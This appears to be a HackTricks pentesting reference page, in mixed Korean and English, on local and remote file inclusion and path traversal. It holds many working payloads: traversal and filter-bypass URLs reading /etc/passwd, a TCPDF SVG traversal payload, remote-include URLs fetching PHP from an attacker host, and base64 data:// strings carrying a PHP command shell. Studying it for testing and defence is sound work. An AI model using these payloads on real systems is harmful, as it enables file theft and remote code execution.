File Inclusion/Path traversal

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

File Inclusion

Remote File Inclusion (RFI): ํŒŒ์ผ์ด ์›๊ฒฉ ์„œ๋ฒ„์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค (์ตœ๊ณ ์˜ ๊ฒฝ์šฐ: ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): ์„œ๋ฒ„๊ฐ€ ๋กœ์ปฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„๊ฐ€ ๋กœ๋“œํ•  ํŒŒ์ผ์„ ์–ด๋–ค ์‹์œผ๋กœ๋“  ์ œ์–ดํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ PHP functions: require, require_once, include, include_once

์ด ์ทจ์•ฝ์ ์„ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ ๋„๊ตฌ: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE ํŒŒ์ผ๋“ค

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*์—ฌ๋Ÿฌ nix LFI ๋ฆฌ์ŠคํŠธ๋ฅผ ํ˜ผํ•ฉํ•˜๊ณ  ๊ฒฝ๋กœ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋งŒ๋“  ๋ฆฌ์ŠคํŠธ:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Try also to change / for \
Try also to add ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

๋‹ค์–‘ํ•œ wordlists์˜ ๋ณ‘ํ•ฉ:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to remove C:/ and add ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

linux์˜ LFI ๋ฆฌ์ŠคํŠธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

๊ธฐ๋ณธ LFI ๋ฐ ์šฐํšŒ ๊ธฐ๋ฒ•

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences๊ฐ€ ๋น„์žฌ๊ท€์ ์œผ๋กœ ์ œ๊ฑฐ๋จ

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

์ œ๊ณต๋œ ๋ฌธ์ž์—ด ๋์— ์ถ”๊ฐ€๋˜๋Š” ๋ฌธ์ž๋“ค์„ ์šฐํšŒ (bypass of: $_GET[โ€˜paramโ€™].โ€œphpโ€)

http://example.com/index.php?page=../../../etc/passwd%00

์ด ๋‚ด์šฉ์€ PHP 5.4 ์ดํ›„ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค

์ธ์ฝ”๋”ฉ

๋น„ํ‘œ์ค€ ์ธ์ฝ”๋”ฉ(์˜ˆ: double URL encode ๋“ฑ)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

์ตœ์‹  HTML-to-PDF ์—”์ง„(์˜ˆ: TCPDF ๋˜๋Š” html2pdf ๊ฐ™์€ ๋ž˜ํผ)์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ HTML, SVG, CSS ๋ฐ ํฐํŠธ URL์„ ๊ธฐ๊บผ์ด ํŒŒ์‹ฑํ•˜์ง€๋งŒ, ์ด๋“ค์€ ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์‹ ๋ขฐ๋œ ๋ฐฑ์—”๋“œ ๋„คํŠธ์›Œํฌ ๋‚ด์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. $pdf->writeHTML()/Html2Pdf::writeHTML()์— HTML์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉด, ์›น ์„œ๋ฒ„ ๊ณ„์ •์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋กœ์ปฌ ํŒŒ์ผ์„ ์ž์ฃผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Fingerprint the renderer: ์ƒ์„ฑ๋œ PDF์—๋Š” ํ•ญ์ƒ Producer ํ•„๋“œ(์˜ˆ: TCPDF 6.8.2)๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํ•œ ๋นŒ๋“œ๋ฅผ ์•Œ๋ฉด ์–ด๋–ค ๊ฒฝ๋กœ ํ•„ํ„ฐ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€, ๊ฒ€์ฆ ์ „์— URL ๋””์ฝ”๋”ฉ์ด ๋ฐœ์ƒํ•˜๋Š”์ง€๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Inline SVG payloads: TCPDF::startSVGElementHandler()๋Š” <image> ์š”์†Œ์˜ xlink:href ์†์„ฑ์„ urldecode()๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์ฝ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ SVG๋ฅผ data URI ์•ˆ์— ์ž„๋ฒ ๋“œํ•˜๋ฉด ๋งŽ์€ HTML sanitizers๊ฐ€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ฌด์‹œํ•˜์ง€๋งŒ TCPDF๋Š” ์—ฌ์ „ํžˆ ์ด๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF๋Š” /๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒฝ๋กœ์— $_SERVER['DOCUMENT_ROOT']๋ฅผ prependํ•˜๊ณ  ..๋Š” ๋‚˜์ค‘์— ํ•ด๊ฒฐํ•˜๋ฏ€๋กœ, prepend ์ดํ›„ root๋ฅผ ๋ฒ—์–ด๋‚˜๋ ค๋ฉด ์„ ํ–‰ ../../.. ์„ธ๊ทธ๋จผํŠธ ๋˜๋Š” /../../..๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

  • Encoding to bypass naive filters: Versions โ‰ค6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f.. โ†’ /../../../โ€ฆ without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

์ด ๊ธฐ๋ฒ•์€ PDF worker๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ์„ leaks ํ•ฉ๋‹ˆ๋‹ค (์—ฌ๊ถŒ ์Šค์บ”, ์ด๋ฏธ์ง€๋กœ ๋ Œ๋”๋ง๋œ API keys ๋“ฑ). Hardeners๋Š” ๊ฒฝ๋กœ๋ฅผ ์ •๊ทœํ™”(isRelativePath())ํ•˜์—ฌ 6.9.1์—์„œ ์ด๋ฅผ ์ˆ˜์ •ํ–ˆ์œผ๋ฏ€๋กœ, ํ…Œ์ŠคํŠธ ์‹œ์—๋Š” ๊ตฌ๋ฒ„์ „์˜ Producer ๋ฒ„์ „์„ ์šฐ์„ ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”.

๊ธฐ์กด ํด๋”์—์„œ

๋ฐฑ์—”๋“œ๊ฐ€ ํด๋” ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•˜๊ณ  ์žˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploring File System Directories on a Server

์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์€ ํŠน์ • ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋””๋ ‰ํ„ฐ๋ฆฌ๋„ ์žฌ๊ท€์ ์œผ๋กœ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ณผ์ •์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊นŠ์ด๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ํŠน์ • ํด๋”์˜ ์กด์žฌ๋ฅผ ํƒ์ง€ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•œ๋‹ค. ์•„๋ž˜๋Š” ์ด๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ์ƒ์„ธํ•œ ๋ฐฉ๋ฒ•์ด๋‹ค:

  1. ๋””๋ ‰ํ„ฐ๋ฆฌ ๊นŠ์ด ๊ฒฐ์ •: ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊นŠ์ด๋Š” /etc/passwd ํŒŒ์ผ์„ ์„ฑ๊ณต์ ์œผ๋กœ ๊ฐ€์ ธ์™€ ํ™•์ธํ•œ๋‹ค(์„œ๋ฒ„๊ฐ€ Linux ๊ธฐ๋ฐ˜์ธ ๊ฒฝ์šฐ ์ ์šฉ). ์˜ˆ์‹œ URL์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊นŠ์ด(depth)๊ฐ€ 3์ž„์„ ๋‚˜ํƒ€๋‚ธ๋‹ค:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. ํด๋” ํƒ์ƒ‰: ์˜์‹ฌ๋˜๋Š” ํด๋” ์ด๋ฆ„(์˜ˆ: private)์„ URL์— ์ถ”๊ฐ€ํ•œ ๋‹ค์Œ, ๋‹ค์‹œ /etc/passwd๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ ˆ๋ฒจ ๋•Œ๋ฌธ์— depth๋ฅผ ํ•œ ๋‹จ๊ณ„ ์ฆ๊ฐ€์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. ๊ฒฐ๊ณผ ํ•ด์„: ์„œ๋ฒ„์˜ ์‘๋‹ต์€ ํด๋”์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:
  • ์˜ค๋ฅ˜ / ์ถœ๋ ฅ ์—†์Œ: ์ง€์ •ํ•œ ์œ„์น˜์— private ํด๋”๊ฐ€ ์—†์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.
  • /etc/passwd์˜ ๋‚ด์šฉ: private ํด๋”์˜ ์กด์žฌ๊ฐ€ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค.
  1. ์žฌ๊ท€์  ํƒ์ƒ‰: ๋ฐœ๊ฒฌํ•œ ํด๋”๋Š” ๋™์ผํ•œ ๊ธฐ๋ฒ•์ด๋‚˜ ๊ธฐ์กด์˜ Local File Inclusion (LFI) ๋ฐฉ๋ฒ•์œผ๋กœ ์„œ๋ธŒ๋””๋ ‰ํ† ๋ฆฌ๋‚˜ ํŒŒ์ผ์„ ์ถ”๊ฐ€๋กœ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ๋‹ค๋ฅธ ์œ„์น˜์— ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•˜๋ ค๋ฉด payload๋ฅผ ์ ์ ˆํžˆ ์กฐ์ •ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด, ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๊นŠ์ด 3์— ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•  ๋•Œ /var/www/์— private ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ฃผ๋กœ ํŒŒ์ผ ๊ฒฝ๋กœ ๋์— ์ถ”๊ฐ€ ๋ฌธ์ž๋ฅผ ๋ถ™์ด๋Š” ํŠน์ • ๋ณด์•ˆ ์žฅ์น˜๋ฅผ ์šฐํšŒํ•ด ์ ‘๊ทผ์ด ์ œํ•œ๋œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ชฉ์ ์€ ๋ณด์•ˆ ์žฅ์น˜์— ์˜ํ•ด ๋ณ€๊ฒฝ๋œ ํ›„์—๋„ ์›ํ•˜๋Š” ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ •๊ตํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

In PHP์—์„œ๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ํŠน์„ฑ์ƒ ํŒŒ์ผ ๊ฒฝ๋กœ์˜ ์—ฌ๋Ÿฌ ํ‘œํ˜„์ด ๋™์ผํ•œ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/๋Š” ๋ชจ๋‘ ๋™์ผํ•œ ๊ฒฝ๋กœ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.
  • ๋งˆ์ง€๋ง‰ 6๋ฌธ์ž๊ฐ€ passwd์ผ ๋•Œ, ๋’ค์— /๋ฅผ ์ถ”๊ฐ€ํ•ด passwd/๋กœ ๋งŒ๋“ค์–ด๋„ ๋Œ€์ƒ ํŒŒ์ผ์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํŒŒ์ผ ๊ฒฝ๋กœ์— .php๊ฐ€ ๋ถ™์€ ๊ฒฝ์šฐ(์˜ˆ: shellcode.php), ๋์— /.๋ฅผ ์ถ”๊ฐ€ํ•ด๋„ ์ ‘๊ทผ๋˜๋Š” ํŒŒ์ผ์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ์˜ˆ์ œ๋“ค์€ ๋ฏผ๊ฐํ•œ ๋‚ด์šฉ(์‚ฌ์šฉ์ž ๊ณ„์ • ์ •๋ณด) ๋•Œ๋ฌธ์— ํ”ํžˆ ๋ชฉํ‘œ๊ฐ€ ๋˜๋Š” /etc/passwd์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด Path truncation์„ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

์ด๋Ÿฌํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ํ•„์š”ํ•œ ../ ํšŸ์ˆ˜๊ฐ€ ์•ฝ 2027๊ฐœ์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด ์ˆซ์ž๋Š” ์„œ๋ฒ„ ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์  ์„ธ๊ทธ๋จผํŠธ์™€ ์ถ”๊ฐ€ ๋ฌธ์ž ์‚ฌ์šฉ: Traversal ์‹œํ€€์Šค (../)์— ์ถ”๊ฐ€์ ์ธ ์  ์„ธ๊ทธ๋จผํŠธ์™€ ๋ฌธ์ž๋ฅผ ๊ฒฐํ•ฉํ•˜๋ฉด ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ๋ง๋ถ™์ธ ๋ฌธ์ž์—ด์„ ํšจ๊ณผ์ ์œผ๋กœ ๋ฌด์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ•„์š”ํ•œ ../ ํšŸ์ˆ˜ ๊ฒฐ์ •: ์‹œํ–‰์ฐฉ์˜ค๋ฅผ ํ†ตํ•ด ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ด๋™ํ•œ ๋’ค /etc/passwd์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ์ •ํ™•ํ•œ ../ ์‹œํ€€์Šค ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋•Œ ๋ง๋ถ™์—ฌ์ง„ ๋ฌธ์ž์—ด(์˜ˆ: .php)์€ ๋ฌด๋ ฅํ™”๋˜์ง€๋งŒ ์›ํ•˜๋Š” ๊ฒฝ๋กœ(/etc/passwd)๋Š” ๊ทธ๋Œ€๋กœ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค.
  • ๊ฐ€์งœ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์‹œ์ž‘ํ•˜๊ธฐ: ๊ฒฝ๋กœ๋ฅผ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ(์˜ˆ: a/)๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์€ ์ผ๋ฐ˜์ ์ธ ๊ด€ํ–‰์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ ์˜ˆ๋ฐฉ ์กฐ์น˜๋กœ ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜ ์„œ๋ฒ„์˜ ๊ฒฝ๋กœ ํŒŒ์‹ฑ ๋กœ์ง ์š”๊ตฌ์‚ฌํ•ญ์„ ์ถฉ์กฑ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

When employing path truncation techniques, ์„œ๋ฒ„์˜ ๊ฒฝ๋กœ ํŒŒ์‹ฑ ๋™์ž‘๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ ๊ตฌ์กฐ๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์‹œ๋‚˜๋ฆฌ์˜ค์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ์ ‘๊ทผ๋ฒ•์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ•์„ ์ฐพ๊ธฐ ์œ„ํ•ด ํ…Œ์ŠคํŠธ๊ฐ€ ์ž์ฃผ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ PHP 5.3์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํ•„ํ„ฐ ์šฐํšŒ ๊ธฐ๋ฒ•

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” **allow_url_include**๊ฐ€ Off. ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ž‘๋™ํ•˜๋ ค๋ฉด On์ด์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ ๊ฒฝ์šฐ ์„œ๋ฒ„์—์„œ PHP ํŒŒ์ผ์„ includeํ•˜์—ฌ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

๋งŒ์•ฝ ์–ด๋–ค ์ด์œ ๋กœ **allow_url_include**๊ฐ€ On์ธ๋ฐ PHP๊ฐ€ ์™ธ๋ถ€ ์›นํŽ˜์ด์ง€ ์ ‘๊ทผ์„ filteringํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, according to this post, ์˜ˆ๋ฅผ ๋“ค์–ด data protocol๊ณผ base64๋ฅผ ์‚ฌ์šฉํ•ด b64 PHP ์ฝ”๋“œ๋ฅผ ๋””์ฝ”๋“œํ•˜์—ฌ egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

์ด์ „ ์ฝ”๋“œ์—์„œ๋Š” ๋งˆ์ง€๋ง‰์˜ +.txt๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ๋Š”๋ฐ, ๊ณต๊ฒฉ์ž๊ฐ€ .txt๋กœ ๋๋‚˜๋Š” ๋ฌธ์ž์—ด์„ ํ•„์š”๋กœ ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฌธ์ž์—ด์€ ๊ทธ๊ฒƒ์œผ๋กœ ๋๋‚˜๊ณ  b64 decode ํ›„ ๊ทธ ๋ถ€๋ถ„์€ ๋‹จ์ง€ junk๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ ์‹ค์ œ PHP ์ฝ”๋“œ๋Š” ํฌํ•จ๋˜์–ด(๋”ฐ๋ผ์„œ ์‹คํ–‰)๋ฉ๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ์˜ˆ์‹œ๋กœ php:// ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ๋ฃจํŠธ ์š”์†Œ

๋‹ค์Œ๊ณผ ๊ฐ™์€ Python ์ฝ”๋“œ์—์„œ:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

์‚ฌ์šฉ์ž๊ฐ€ absolute path๋ฅผ **file_name**์— ์ „๋‹ฌํ•˜๋ฉด, previous path is just removed:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

์ด๋Š” the docs:

๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ์ธ ๊ฒฝ์šฐ, ์ด์ „์˜ ๋ชจ๋“  ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋ฒ„๋ ค์ง€๊ณ  ๊ฒฐํ•ฉ์€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ ๊ตฌ์„ฑ ์š”์†Œ์—์„œ ๊ณ„์†๋ฉ๋‹ˆ๋‹ค.

Java ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก

Java์—์„œ Path Traversal์ด ์žˆ๊ณ  ํŒŒ์ผ ๋Œ€์‹  ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์š”์ฒญํ•˜๋ฉด, ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก์ด ๋ฐ˜ํ™˜๋˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์–ธ์–ด์—์„œ๋Š”(๋‚ด๊ฐ€ ์•Œ๊ธฐ๋กœ๋Š”) ์ด๋Ÿฐ ์ผ์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ƒ์œ„ 25๊ฐœ ๋งค๊ฐœ๋ณ€์ˆ˜

๋‹ค์Œ์€ local file inclusion (LFI) vulnerabilities์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHP wrappers ๋ฐ ํ”„๋กœํ† ์ฝœ์„ ์ด์šฉํ•œ LFI / RFI

php://filter

PHP filters๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ฐ๊ธฐ ์ „์— ๊ธฐ๋ณธ์ ์ธ ์ˆ˜์ • ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ํ•„ํ„ฐ๋Š” 5๊ฐ€์ง€ ์นดํ…Œ๊ณ ๋ฆฌ๋กœ ๋‚˜๋‰ฉ๋‹ˆ๋‹ค:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: ๋ฐ์ดํ„ฐ์—์„œ ํƒœ๊ทธ ์ œ๊ฑฐ( โ€œ<โ€ ์™€ โ€œ>โ€ ๋ฌธ์ž ์‚ฌ์ด์˜ ๋ชจ๋“  ๋‚ด์šฉ)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
